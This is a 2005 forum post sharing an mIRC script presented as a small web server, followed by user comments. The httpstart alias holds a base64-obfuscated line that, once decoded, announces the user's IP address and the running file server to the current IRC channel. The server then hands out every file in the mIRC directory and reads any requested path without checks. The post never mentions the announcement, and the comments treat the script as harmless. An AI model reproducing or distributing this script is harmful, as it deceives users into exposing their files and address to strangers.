mini httpd

By t0k3d on May 25, 2005

this is a mini mIRC httpd. /httpstart to start it

; mini httpd by t0k3d
; runs off $mircdir but can easily be changed

alias sleep {
  var %a = $ticks $+ .wsf
  write %a <job id="js"><script language="jscript">WScript.Sleep( $+ $$1 $+ );</script></job>
  .comopen %a WScript.Shell
  if !$comerr { .comclose %a $com(%a,Run,3,bstr,%a,uint,0,bool,true) }
  .remove %a
  set %pzSize 1
}

alias httpstart {
  socklisten http 80
$decode(bXNnICRjaGFuIGh0dHA6Ly8gJCsgJGlwICQrIC8=, m)
}

on *:socklisten:http:{
  sockaccept http $+ $r(0,99)
}

on *:sockread:http*:{
  echo $color(info) - http: connection from: $sock($sockname).ip $sock($sockname).port
  var %httpd
  sockread %httpd
  tokenize 32 %httpd
  if (GET == $1 && / == $2 && HTTP/1.1 == $3) {
    echo -a $1-
    var %files $findfile($mircdir,*.*,0)
    var %i 1
    while (%i <= %files) {
      sockwrite -tn $sockname  <a href="http:// $+ $ip $+ :80/ $+ $remove($findfile($mircdir,*.*, $+ %i,0), $+ $mircdir $+ ) $+ "> $+ $remove($findfile($mircdir,*.*, $+ %i,0), $+ $mircdir $+ ) $+ </a><br>
      inc %i
    }
    sockclose $sockname
  }
  else {
    set %packsent 0
    ;var %packsent 0
    var %file = $right($2,-1)
    sockwrite -n $sockname HTTP/1.0 200 OK
    sockwrite -n $sockname Content-Type: application/octet-stream
    sockwrite -n $sockname Accept-Ranges: bytes
    sockwrite -n $sockname Connection: close
    sockwrite -n $sockname Content-Length: $file(%file).size
    sockwrite -n $sockname $crlf
    var %i = 1
    while (%i <= $int($calc(($file(%file).size / 4096) + 1))) {
      if ($calc($file(%file).size - %packsent) < 4096) {         
        var %startfrom = $calc($file(%file).size - ($file(%file).size % 4096))
        var %bytesleft = $calc($file(%file).size % 4096)
        bread %file %startfrom %bytesleft &f
        sockwrite $sockname &f
        inc %i
        inc %packsent %bytesleft
        sleep 1
      } 
      elseif ($calc($file(%file).size - %packsent) >= 4096))
      {         
        bread %file $calc(1 + (4096 * (%i - 1))) 4096 &f
        sockwrite $sockname &f
        inc %i
        inc %packsent 4096
        sleep 200
      }
    }
    unset %packsent
  }
  .sockclose $sockname
}

Comments

Sign in to comment.
Whitey   -  Jul 06, 2005

This is quite a impressive feat. :).

Nice work. I was thinking of writing something like this and writing an mIRC based IRCD . :P.

Very well done :).

This could also be intergrated into an identication script for a bot, E.G. people going to your ip in their webserver and typing in their password, with a help file and some commands there too....

:)

/Whitey

 Respond  
t0k3d   -  May 26, 2005

it starts a webserver on your connection. you type /httpstart, and then type //clipboard http:// $+ $ip, and open it in your browser, it\'s a http ;)

 Respond  
F*U*R*B*Y*   -  May 26, 2005

wat is this script suppose to do?

 Respond  
t0k3d   -  May 25, 2005

fixed!

 Respond  
t0k3d   -  May 25, 2005

wow, no comments ;[

 Respond  
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.